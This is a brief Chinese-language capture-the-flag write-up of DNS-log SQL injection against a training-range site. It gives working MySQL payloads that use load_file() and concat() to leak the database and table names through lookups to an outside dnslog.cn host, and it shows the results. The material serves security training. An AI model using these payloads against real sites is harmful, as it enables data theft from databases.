DNS log注入
测试靶场(掌控安全学院靶场):https://hack.zkaq.cn/battle/target?id=10679db0fd3523e5
- 分析:挖掘到目标网站有注入点,可通过DNS-log注入,拿到想要的数据
- 明白DNS原理,知道域名解析时域名服务器会记录log,但在别人服务器上我们看不到该log,则找工具:dnslog.cn 或者 ceye.io 上去回显出我们想要的数据
- 以mysql为例,构造注入语句,以
load_file()
函数配合dns-log得到数据 - mysql中
load_file()
函数为加载文件,因此可构造此类型语句得到数据库数据:
select load_file("//file_path/file_name")
- 对此可拼接以下语句:
and (select load_file(concat('//',(select database()),'.rvf4kw.dnslog.cn/1.txt')))
在dnslog.cn中可查询到注入回显数据:
maoshe.rvf4kw.dnslog.cn
可得知当前database为:maoshe
- 找出该库下的所有表:admin、news
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.rvf4kw.dnslog.cn/1.txt')))
- 由此可继续探索拿到我们想要的flag:FlaG-biubiu